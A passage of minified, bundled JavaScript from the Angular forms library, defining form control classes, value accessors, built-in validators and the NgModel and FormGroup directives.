t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.Renderer2),r.\u0275\u0275directiveInject(r.ElementRef))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t}),t})(),FO=(()=>{class t extends jO{}return t.\u0275fac=function(){let e;return function(n){return(e||(e=r.\u0275\u0275getInheritedFactory(t)))(n||t)}}(),t.\u0275dir=r.\u0275\u0275defineDirective({type:t,features:[r.\u0275\u0275InheritDefinitionFeature]}),t})();const VO=new r.InjectionToken("NgValueAccessor"),BO={provide:VO,useExisting:(0,r.forwardRef)(()=>zO),multi:!0},HO=new r.InjectionToken("CompositionEventMode");let zO=(()=>{class t extends jO{constructor(t,e,n){super(t,e),this._compositionMode=n,this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function(){const t=o()?o().getUserAgent():"";return/android (\d+)/.test(t.toLowerCase())}())}writeValue(t){this.setProperty("value",null==t?"":t)}_handleInput(t){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(t)}_compositionStart(){this._composing=!0}_compositionEnd(t){this._composing=!1,this._compositionMode&&this.onChange(t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.Renderer2),r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(HO,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(t,e){1&t&&r.\u0275\u0275listener("input",function(t){return e._handleInput(t.target.value)})("blur",function(){return e.onTouched()})("compositionstart",function(){return e._compositionStart()})("compositionend",function(t){return e._compositionEnd(t.target.value)})},features:[r.\u0275\u0275ProvidersFeature([BO]),r.\u0275\u0275InheritDefinitionFeature]}),t})();function GO(t){return null==t||0===t.length}function UO(t){return null!=t&&"number"==typeof t.length}const qO=new r.InjectionToken("NgValidators"),WO=new r.InjectionToken("NgAsyncValidators"),KO=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;class $O{static min(t){return function(t){return e=>{if(GO(e.value)||GO(t))return null;const n=parseFloat(e.value);return!isNaN(n)&&n<t?{min:{min:t,actual:e.value}}:null}}(t)}static max(t){return function(t){return e=>{if(GO(e.value)||GO(t))return null;const n=parseFloat(e.value);return!isNaN(n)&&n>t?{max:{max:t,actual:e.value}}:null}}(t)}static required(t){return QO(t)}static requiredTrue(t){return function(t){return!0===t.value?null:{required:!0}}(t)}static email(t){return function(t){return GO(t.value)||KO.test(t.value)?null:{email:!0}}(t)}static minLength(t){return XO(t)}static maxLength(t){return ZO(t)}static pattern(t){return YO(t)}static nullValidator(t){return null}static compose(t){return oE(t)}static composeAsync(t){return aE(t)}}function QO(t){return GO(t.value)?{required:!0}:null}function XO(t){return e=>GO(e.value)||!UO(e.value)?null:e.value.length<t?{minlength:{requiredLength:t,actualLength:e.value.length}}:null}function ZO(t){return e=>UO(e.value)&&e.value.length>t?{maxlength:{requiredLength:t,actualLength:e.value.length}}:null}function YO(t){if(!t)return JO;let e,n;return"string"==typeof t?(n="","^"!==t.charAt(0)&&(n+="^"),n+=t,"$"!==t.charAt(t.length-1)&&(n+="$"),e=new RegExp(n)):(n=t.toString(),e=t),t=>{if(GO(t.value))return null;const r=t.value;return e.test(r)?null:{pattern:{requiredPattern:n,actualValue:r}}}}function JO(t){return null}function tE(t){return null!=t}function eE(t){const e=(0,r.\u0275isPromise)(t)?(0,qe.D)(t):t;return(0,r.\u0275isObservable)(e),e}function nE(t){let e={};return t.forEach(t=>{e=null!=t?Object.assign(Object.assign({},e),t):e}),0===Object.keys(e).length?null:e}function rE(t,e){return e.map(e=>e(t))}function iE(t){return t.map(t=>function(t){return!t.validate}(t)?t:e=>t.validate(e))}function oE(t){if(!t)return null;const e=t.filter(tE);return 0==e.length?null:function(t){return nE(rE(t,e))}}function sE(t){return null!=t?oE(iE(t)):null}function aE(t){if(!t)return null;const e=t.filter(tE);return 0==e.length?null:function(t){return function(...t){if(1===t.length){const e=t[0];if((0,Xe.k)(e))return LO(e,null);if((0,RO.K)(e)&&Object.getPrototypeOf(e)===Object.prototype){const t=Object.keys(e);return LO(t.map(t=>e[t]),t)}}if("function"==typeof t[t.length-1]){const e=t.pop();return LO(t=1===t.length&&(0,Xe.k)(t[0])?t[0]:t,null).pipe((0,ue.U)(t=>e(...t)))}return LO(t,null)}(rE(t,e).map(eE)).pipe((0,ue.U)(nE))}}function cE(t){return null!=t?aE(iE(t)):null}function lE(t,e){return null===t?[e]:Array.isArray(t)?[...t,e]:[t,e]}function uE(t){return t._rawValidators}function dE(t){return t._rawAsyncValidators}function hE(t){return t?Array.isArray(t)?t:[t]:[]}function pE(t,e){return Array.isArray(t)?t.includes(e):t===e}function fE(t,e){const n=hE(e);return hE(t).forEach(t=>{pE(n,t)||n.push(t)}),n}function gE(t,e){return hE(e).filter(e=>!pE(t,e))}let mE=(()=>{class t{constructor(){this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}_setValidators(t){this._rawValidators=t||[],this._composedValidatorFn=sE(this._rawValidators)}_setAsyncValidators(t){this._rawAsyncValidators=t||[],this._composedAsyncValidatorFn=cE(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn||null}get asyncValidator(){return this._composedAsyncValidatorFn||null}_registerOnDestroy(t){this._onDestroyCallbacks.push(t)}_invokeOnDestroyCallbacks(){this._onDestroyCallbacks.forEach(t=>t()),this._onDestroyCallbacks=[]}reset(t){this.control&&this.control.reset(t)}hasError(t,e){return!!this.control&&this.control.hasError(t,e)}getError(t,e){return this.control?this.control.getError(t,e):null}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.\u0275\u0275defineDirective({type:t}),t})(),yE=(()=>{class t extends mE{get formDirective(){return null}get path(){return null}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=r.\u0275\u0275getInheritedFactory(t)))(n||t)}}(),t.\u0275dir=r.\u0275\u0275defineDirective({type:t,features:[r.\u0275\u0275InheritDefinitionFeature]}),t})();class bE extends mE{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null}}class vE{constructor(t){this._cd=t}is(t){var e,n,r;return"submitted"===t?!!(null===(e=this._cd)||void 0===e?void 0:e.submitted):!!(null===(r=null===(n=this._cd)||void 0===n?void 0:n.control)||void 0===r?void 0:r[t])}}let _E=(()=>{class t extends vE{constructor(t){super(t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(bE,2))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(t,e){2&t&&r.\u0275\u0275classProp("ng-untouched",e.is("untouched"))("ng-touched",e.is("touched"))("ng-pristine",e.is("pristine"))("ng-dirty",e.is("dirty"))("ng-valid",e.is("valid"))("ng-invalid",e.is("invalid"))("ng-pending",e.is("pending"))},features:[r.\u0275\u0275InheritDefinitionFeature]}),t})(),CE=(()=>{class t extends vE{constructor(t){super(t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(yE,10))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(t,e){2&t&&r.\u0275\u0275classProp("ng-untouched",e.is("untouched"))("ng-touched",e.is("touched"))("ng-pristine",e.is("pristine"))("ng-dirty",e.is("dirty"))("ng-valid",e.is("valid"))("ng-invalid",e.is("invalid"))("ng-pending",e.is("pending"))("ng-submitted",e.is("submitted"))},features:[r.\u0275\u0275InheritDefinitionFeature]}),t})();function wE(t,e){return[...e.path,t]}function xE(t,e){ME(t,e),e.valueAccessor.writeValue(t.value),function(t,e){e.valueAccessor.registerOnChange(n=>{t._pendingValue=n,t._pendingChange=!0,t._pendingDirty=!0,"change"===t.updateOn&&EE(t,e)})}(t,e),function(t,e){const n=(t,n)=>{e.valueAccessor.writeValue(t),n&&e.viewToModelUpdate(t)};t.registerOnChange(n),e._registerOnDestroy(()=>{t._unregisterOnChange(n)})}(t,e),function(t,e){e.valueAccessor.registerOnTouched(()=>{t._pendingTouched=!0,"blur"===t.updateOn&&t._pendingChange&&EE(t,e),"submit"!==t.updateOn&&t.markAsTouched()})}(t,e),function(t,e){if(e.valueAccessor.setDisabledState){const n=t=>{e.valueAccessor.setDisabledState(t)};t.registerOnDisabledChange(n),e._registerOnDestroy(()=>{t._unregisterOnDisabledChange(n)})}}(t,e)}function PE(t,e,n=!0){const r=()=>{};e.valueAccessor&&(e.valueAccessor.registerOnChange(r),e.valueAccessor.registerOnTouched(r)),OE(t,e),t&&(e._invokeOnDestroyCallbacks(),t._registerOnCollectionChange(()=>{}))}function SE(t,e){t.forEach(t=>{t.registerOnValidatorChange&&t.registerOnValidatorChange(e)})}function ME(t,e){const n=uE(t);null!==e.validator?t.setValidators(lE(n,e.validator)):"function"==typeof n&&t.setValidators([n]);const r=dE(t);null!==e.asyncValidator?t.setAsyncValidators(lE(r,e.asyncValidator)):"function"==typeof r&&t.setAsyncValidators([r]);const i=()=>t.updateValueAndValidity();SE(e._rawValidators,i),SE(e._rawAsyncValidators,i)}function OE(t,e){let n=!1;if(null!==t){if(null!==e.validator){const r=uE(t);if(Array.isArray(r)&&r.length>0){const i=r.filter(t=>t!==e.validator);i.length!==r.length&&(n=!0,t.setValidators(i))}}if(null!==e.asyncValidator){const r=dE(t);if(Array.isArray(r)&&r.length>0){const i=r.filter(t=>t!==e.asyncValidator);i.length!==r.length&&(n=!0,t.setAsyncValidators(i))}}}const r=()=>{};return SE(e._rawValidators,r),SE(e._rawAsyncValidators,r),n}function EE(t,e){t._pendingDirty&&t.markAsDirty(),t.setValue(t._pendingValue,{emitModelToViewChange:!1}),e.viewToModelUpdate(t._pendingValue),t._pendingChange=!1}function TE(t,e){if(!t.hasOwnProperty("model"))return!1;const n=t.model;return!!n.isFirstChange()||!Object.is(e,n.currentValue)}function IE(t,e){if(!e)return null;let n,r,i;return Array.isArray(e),e.forEach(t=>{t.constructor===zO?n=t:function(t){return Object.getPrototypeOf(t.constructor)===FO}(t)?r=t:i=t}),i||r||n||null}function kE(t,e){const n=t.indexOf(e);n>-1&&t.splice(n,1)}const AE="VALID",DE="INVALID",NE="PENDING",RE="DISABLED";function LE(t){return(BE(t)?t.validators:t)||null}function jE(t){return Array.isArray(t)?sE(t):t||null}function FE(t,e){return(BE(e)?e.asyncValidators:t)||null}function VE(t){return Array.isArray(t)?cE(t):t||null}function BE(t){return null!=t&&!Array.isArray(t)&&"object"==typeof t}class HE{constructor(t,e){this._hasOwnPendingAsyncValidator=!1,this._onCollectionChange=()=>{},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._rawValidators=t,this._rawAsyncValidators=e,this._composedValidatorFn=jE(this._rawValidators),this._composedAsyncValidatorFn=VE(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn}set validator(t){this._rawValidators=this._composedValidatorFn=t}get asyncValidator(){return this._composedAsyncValidatorFn}set asyncValidator(t){this._rawAsyncValidators=this._composedAsyncValidatorFn=t}get parent(){return this._parent}get valid(){return this.status===AE}get invalid(){return this.status===DE}get pending(){return this.status==NE}get disabled(){return this.status===RE}get enabled(){return this.status!==RE}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(t){this._rawValidators=t,this._composedValidatorFn=jE(t)}setAsyncValidators(t){this._rawAsyncValidators=t,this._composedAsyncValidatorFn=VE(t)}addValidators(t){this.setValidators(fE(t,this._rawValidators))}addAsyncValidators(t){this.setAsyncValidators(fE(t,this._rawAsyncValidators))}removeValidators(t){this.setValidators(gE(t,this._rawValidators))}removeAsyncValidators(t){this.setAsyncValidators(gE(t,this._rawAsyncValidators))}hasValidator(t){return pE(this._rawValidators,t)}hasAsyncValidator(t){return pE(this._rawAsyncValidators,t)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(t={}){this.touched=!0,this._parent&&!t.onlySelf&&this._parent.markAsTouched(t)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(t=>t.markAllAsTouched())}markAsUntouched(t={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(t=>{t.markAsUntouched({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}markAsDirty(t={}){this.pristine=!1,this._parent&&!t.onlySelf&&this._parent.markAsDirty(t)}markAsPristine(t={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(t=>{t.markAsPristine({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}markAsPending(t={}){this.status=NE,!1!==t.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!t.onlySelf&&this._parent.markAsPending(t)}disable(t={}){const e=this._parentMarkedDirty(t.onlySelf);this.status=RE,this.errors=null,this._forEachChild(e=>{e.disable(Object.assign(Object.assign({},t),{onlySelf:!0}))}),this._updateValue(),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors(Object.assign(Object.assign({},t),{skipPristineCheck:e})),this._onDisabledChange.forEach(t=>t(!0))}enable(t={}){const e=this._parentMarkedDirty(t.onlySelf);this.status=AE,this._forEachChild(e=>{e.enable(Object.assign(Object.assign({},t),{onlySelf:!0}))}),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent}),this._updateAncestors(Object.assign(Object.assign({},t),{skipPristineCheck:e})),this._onDisabledChange.forEach(t=>t(!1))}_updateAncestors(t){this._parent&&!t.onlySelf&&(this._parent.updateValueAndValidity(t),t.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(t){this._parent=t}updateValueAndValidity(t={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===AE||this.status===NE)&&this._runAsyncValidator(t.emitEvent)),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!t.onlySelf&&this._parent.updateValueAndValidity(t)}_updateTreeValidity(t={emitEvent:!0}){this._forEachChild(e=>e._updateTreeValidity(t)),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?RE:AE}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(t){if(this.asyncValidator){this.status=NE,this._hasOwnPendingAsyncValidator=!0;const e=eE(this.asyncValidator(this));this._asyncValidationSubscription=e.subscribe(e=>{this._hasOwnPendingAsyncValidator=!1,this.setErrors(e,{emitEvent:t})})}}_cancelExistingSubscription(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}setErrors(t,e={}){this.errors=t,this._updateControlsErrors(!1!==e.emitEvent)}get(t){return function(t,e,n){if(null==e||(Array.isArray(e)||(e=e.split(".")),Array.isArray(e)&&0===e.length))return null;let r=t;return e.forEach(t=>{r=r instanceof GE?r.controls.hasOwnProperty(t)?r.controls[t]:null:r instanceof UE&&r.at(t)||null}),r}(this,t)}getError(t,e){const n=e?this.get(e):this;return n&&n.errors?n.errors[t]:null}hasError(t,e){return!!this.getError(t,e)}get root(){let t=this;for(;t._parent;)t=t._parent;return t}_updateControlsErrors(t){this.status=this._calculateStatus(),t&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(t)}_initObservables(){this.valueChanges=new r.EventEmitter,this.statusChanges=new r.EventEmitter}_calculateStatus(){return this._allControlsDisabled()?RE:this.errors?DE:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(NE)?NE:this._anyControlsHaveStatus(DE)?DE:AE}_anyControlsHaveStatus(t){return this._anyControls(e=>e.status===t)}_anyControlsDirty(){return this._anyControls(t=>t.dirty)}_anyControlsTouched(){return this._anyControls(t=>t.touched)}_updatePristine(t={}){this.pristine=!this._anyControlsDirty(),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}_updateTouched(t={}){this.touched=this._anyControlsTouched(),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}_isBoxedValue(t){return"object"==typeof t&&null!==t&&2===Object.keys(t).length&&"value"in t&&"disabled"in t}_registerOnCollectionChange(t){this._onCollectionChange=t}_setUpdateStrategy(t){BE(t)&&null!=t.updateOn&&(this._updateOn=t.updateOn)}_parentMarkedDirty(t){return!t&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}}class zE extends HE{constructor(t=null,e,n){super(LE(e),FE(n,e)),this._onChange=[],this._applyFormState(t),this._setUpdateStrategy(e),this._initObservables(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}setValue(t,e={}){this.value=this._pendingValue=t,this._onChange.length&&!1!==e.emitModelToViewChange&&this._onChange.forEach(t=>t(this.value,!1!==e.emitViewToModelChange)),this.updateValueAndValidity(e)}patchValue(t,e={}){this.setValue(t,e)}reset(t=null,e={}){this._applyFormState(t),this.markAsPristine(e),this.markAsUntouched(e),this.setValue(this.value,e),this._pendingChange=!1}_updateValue(){}_anyControls(t){return!1}_allControlsDisabled(){return this.disabled}registerOnChange(t){this._onChange.push(t)}_unregisterOnChange(t){kE(this._onChange,t)}registerOnDisabledChange(t){this._onDisabledChange.push(t)}_unregisterOnDisabledChange(t){kE(this._onDisabledChange,t)}_forEachChild(t){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(t){this._isBoxedValue(t)?(this.value=this._pendingValue=t.value,t.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=t}}class GE extends HE{constructor(t,e,n){super(LE(e),FE(n,e)),this.controls=t,this._initObservables(),this._setUpdateStrategy(e),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}registerControl(t,e){return this.controls[t]?this.controls[t]:(this.controls[t]=e,e.setParent(this),e._registerOnCollectionChange(this._onCollectionChange),e)}addControl(t,e,n={}){this.registerControl(t,e),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}removeControl(t,e={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),delete this.controls[t],this.updateValueAndValidity({emitEvent:e.emitEvent}),this._onCollectionChange()}setControl(t,e,n={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),delete this.controls[t],e&&this.registerControl(t,e),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}contains(t){return this.controls.hasOwnProperty(t)&&this.controls[t].enabled}setValue(t,e={}){this._checkAllValuesPresent(t),Object.keys(t).forEach(n=>{this._throwIfControlMissing(n),this.controls[n].setValue(t[n],{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e)}patchValue(t,e={}){null!=t&&(Object.keys(t).forEach(n=>{this.controls[n]&&this.controls[n].patchValue(t[n],{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e))}reset(t={},e={}){this._forEachChild((n,r)=>{n.reset(t[r],{onlySelf:!0,emitEvent:e.emitEvent})}),this._updatePristine(e),this._updateTouched(e),this.updateValueAndValidity(e)}getRawValue(){return this._reduceChildren({},(t,e,n)=>(t[n]=e instanceof zE?e.value:e.getRawValue(),t))}_syncPendingControls(){let t=this._reduceChildren(!1,(t,e)=>!!e._syncPendingControls()||t);return t&&this.updateValueAndValidity({onlySelf:!0}),t}_throwIfControlMissing(t){if(!Object.keys(this.controls).length)throw new Error("\n There are no form controls registered with this group yet. If you're using ngModel,\n you may want to check next tick (e.g. use setTimeout).\n ");if(!this.controls[t])throw new Error(`Cannot find form control with name: ${t}.`)}_forEachChild(t){Object.keys(this.controls).forEach(e=>{const n=this.controls[e];n&&t(n,e)})}_setUpControls(){this._forEachChild(t=>{t.setParent(this),t._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(t){for(const e of Object.keys(this.controls)){const n=this.controls[e];if(this.contains(e)&&t(n))return!0}return!1}_reduceValue(){return this._reduceChildren({},(t,e,n)=>((e.enabled||this.disabled)&&(t[n]=e.value),t))}_reduceChildren(t,e){let n=t;return this._forEachChild((t,r)=>{n=e(n,t,r)}),n}_allControlsDisabled(){for(const t of Object.keys(this.controls))if(this.controls[t].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_checkAllValuesPresent(t){this._forEachChild((e,n)=>{if(void 0===t[n])throw new Error(`Must supply a value for form control with name: '${n}'.`)})}}class UE extends HE{constructor(t,e,n){super(LE(e),FE(n,e)),this.controls=t,this._initObservables(),this._setUpdateStrategy(e),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}at(t){return this.controls[t]}push(t,e={}){this.controls.push(t),this._registerControl(t),this.updateValueAndValidity({emitEvent:e.emitEvent}),this._onCollectionChange()}insert(t,e,n={}){this.controls.splice(t,0,e),this._registerControl(e),this.updateValueAndValidity({emitEvent:n.emitEvent})}removeAt(t,e={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),this.controls.splice(t,1),this.updateValueAndValidity({emitEvent:e.emitEvent})}setControl(t,e,n={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),this.controls.splice(t,1),e&&(this.controls.splice(t,0,e),this._registerControl(e)),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}get length(){return this.controls.length}setValue(t,e={}){this._checkAllValuesPresent(t),t.forEach((t,n)=>{this._throwIfControlMissing(n),this.at(n).setValue(t,{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e)}patchValue(t,e={}){null!=t&&(t.forEach((t,n)=>{this.at(n)&&this.at(n).patchValue(t,{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e))}reset(t=[],e={}){this._forEachChild((n,r)=>{n.reset(t[r],{onlySelf:!0,emitEvent:e.emitEvent})}),this._updatePristine(e),this._updateTouched(e),this.updateValueAndValidity(e)}getRawValue(){return this.controls.map(t=>t instanceof zE?t.value:t.getRawValue())}clear(t={}){this.controls.length<1||(this._forEachChild(t=>t._registerOnCollectionChange(()=>{})),this.controls.splice(0),this.updateValueAndValidity({emitEvent:t.emitEvent}))}_syncPendingControls(){let t=this.controls.reduce((t,e)=>!!e._syncPendingControls()||t,!1);return t&&this.updateValueAndValidity({onlySelf:!0}),t}_throwIfControlMissing(t){if(!this.controls.length)throw new Error("\n There are no form controls registered with this array yet. If you're using ngModel,\n you may want to check next tick (e.g. use setTimeout).\n ");if(!this.at(t))throw new Error(`Cannot find form control at index ${t}`)}_forEachChild(t){this.controls.forEach((e,n)=>{t(e,n)})}_updateValue(){this.value=this.controls.filter(t=>t.enabled||this.disabled).map(t=>t.value)}_anyControls(t){return this.controls.some(e=>e.enabled&&t(e))}_setUpControls(){this._forEachChild(t=>this._registerControl(t))}_checkAllValuesPresent(t){this._forEachChild((e,n)=>{if(void 0===t[n])throw new Error(`Must supply a value for form control at index: ${n}.`)})}_allControlsDisabled(){for(const t of this.controls)if(t.enabled)return!1;return this.controls.length>0||this.disabled}_registerControl(t){t.setParent(this),t._registerOnCollectionChange(this._onCollectionChange)}}const qE={provide:bE,useExisting:(0,r.forwardRef)(()=>KE)},WE=(()=>Promise.resolve(null))();let KE=(()=>{class t extends bE{constructor(t,e,n,i){super(),this.control=new zE,this._registered=!1,this.update=new r.EventEmitter,this._parent=t,this._setValidators(e),this._setAsyncValidators(n),this.valueAccessor=IE(0,i)}ngOnChanges(t){this._checkForErrors(),this._registered||this._setUpControl(),"isDisabled"in t&&this._updateDisabled(t),TE(t,this.viewModel)&&(this._updateValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}get path(){return this._parent?wE(this.name,this._parent):[this.name]}get formDirective(){return this._parent?this._parent.formDirective:null}viewToModelUpdate(t){this.viewModel=t,this.update.emit(t)}_setUpControl(){this._setUpdateStrategy(),this._isStandalone()?this._setUpStandalone():this.formDirective.addControl(this),this._registered=!0}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.control._updateOn=this.options.updateOn)}_isStandalone(){return!this._parent||!(!this.options||!this.options.standalone)}_setUpStandalone(){xE(this.control,this),this.control.updateValueAndValidity({emitEvent:!1})}_checkForErrors(){this._isStandalone()||this._checkParentType(),this._checkName()}_checkParentType(){}_checkName(){this.options&&this.options.name&&(this.name=this.options.name),this._isStandalone()}_updateValue(t){WE.then(()=>{this.control.setValue(t,{emitViewToModelChange:!1})})}_updateDisabled(t){const e=t.isDisabled.currentValue,n=""===e||e&&"false"!==e;WE.then(()=>{n&&!this.control.disabled?this.control.disable():!n&&this.control.disabled&&this.control.enable()})}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(yE,9),r.\u0275\u0275directiveInject(qO,10),r.\u0275\u0275directiveInject(WO,10),r.\u0275\u0275directiveInject(VO,10))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","ngModel","",3,"formControlName","",3,"formControl",""]],inputs:{name:"name",isDisabled:["disabled","isDisabled"],model:["ngModel","model"],options:["ngModelOptions","options"]},outputs:{update:"ngModelChange"},exportAs:["ngModel"],features:[r.\u0275\u0275ProvidersFeature([qE]),r.\u0275\u0275InheritDefinitionFeature,r.\u0275\u0275NgOnChangesFeature]}),t})(),$E=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["form",3,"ngNoForm","",3,"ngNativeValidate",""]],hostAttrs:["novalidate",""]}),t})(),QE=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({}),t})();const XE=new r.InjectionToken("NgModelWithFormControlWarning"),ZE={provide:yE,useExisting:(0,r.forwardRef)(()=>YE)};let YE=(()=>{class t extends yE{constructor(t,e){super(),this.validators=t,this.asyncValidators=e,this.submitted=!1,this._onCollectionChange=()=>this._updateDomValue(),this.directives=[],this.form=null,this.ngSubmit=new r.EventEmitter,this._setValidators(t),this._setAsyncValidators(e)}ngOnChanges(t){this._checkFormPresent(),t.hasOwnProperty("form")&&(this._updateValidators(),this._updateDomValue(),this._updateRegistrations(),this._oldForm=this.form)}ngOnDestroy(){this.form&&(OE(this.form,this),this.form._onCollectionChange===this._onCollectionChange&&this.form._registerOnCollectionChange(()=>{}))}get formDirective(){return this}get control(){return this.form}get path(){return[]}addControl(t){const e=this.form.get(t.path);return xE(e,t),e.updateValueAndValidity({emitEvent:!1}),this.directives.push(t),e}getControl(t){return this.form.get(t.path)}removeControl(t){PE(t.control||null,t,!1),kE(this.directives,t)}addFormGroup(t){this._setUpFormContainer(t)}removeFormGroup(t){this._cleanUpFormContainer(t)}getFormGroup(t){return this.form.get(t.path)}addFormArray(t){this._setUpFormContainer(t)}removeFormArray(t){this._cleanUpFormContainer(t)}getFormArray(t){return this.form.get(t.path)}updateModel(t,e){this.form.get(t.path).setValue(e)}onSubmit(t){return this.submitted=!0,function(t,e){t._syncPendingControls(),e.forEach(t=>{const e=t.control;"submit"===e.updateOn&&e._pendingChange&&(t.viewToModelUpdate(e._pendingValue),e._pendingChange=!1)})}(this.form,this.directives),this.ngSubmit.emit(t),!1}onReset(){this.resetForm()}resetForm(t){this.form.reset(t),this.submitted=!1}_updateDomValue(){this.directives.forEach(t=>{const e=t.control,n=this.form.get(t.path);e!==n&&(PE(e||null,t),n instanceof zE&&(xE(n,t),t.control=n))}),this.form._updateTreeValidity({emitEvent:!1})}_setUpFormContainer(t){const e=this.form.get(t.path);(function(t,e){ME(t,e)})(e,t),e.updateValueAndValidity({emitEvent:!1})}_cleanUpFormContainer(t){if(this.form){const e=this.form.get(t.path);e&&function(t,e){return OE(t,e)}(e,t)&&e.updateValueAndValidity({emitEvent:!1})}}_updateRegistrations(){this.form._registerOnCollectionChange(this._onCollectionChange),this._oldForm&&this._oldForm._registerOnCollectionChange(()=>{})}_updateValidators(){ME(this.form,this),this._oldForm&&OE(this._oldForm,this)}_checkFormPresent(){}}return t.\u0275fac=function(e){return 